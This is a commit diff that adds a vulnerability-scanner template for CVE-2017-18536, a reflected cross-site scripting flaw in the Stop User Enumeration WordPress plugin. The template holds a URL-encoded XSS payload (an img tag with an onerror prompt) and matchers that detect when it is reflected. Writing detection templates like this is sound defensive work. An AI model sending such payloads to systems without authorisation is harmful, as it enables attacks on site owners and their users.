Merge pull request #2041 from daffainfo/patch-69

Create CVE-2017-18536.yaml

cves/2017/CVE-2017-18536.yaml

@@ -0,0 +1,30 @@
+id: CVE-2017-18536
+
+info:
+  name: Stop User Enumeration 1.3.5-1.3.7 - Reflected Cross-Site Scripting (XSS)
+  author: daffainfo
+  severity: medium
+  description: The Stop User Enumeration WordPress plugin was affected by an Unauthenticated Reflected Cross-Site Scripting (XSS) security vulnerability.
+  reference: https://wpscan.com/vulnerability/956cc5fd-af06-43ac-aa85-46b468c73501
+  tags: cve,cve2017,wordpress,xss,wp-plugin
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?author=1%3Cimg%20src%3Dx%20onerror%3Djavascript%3Aprompt%28123%29%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<img src=x onerror=javascript:prompt(123)>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200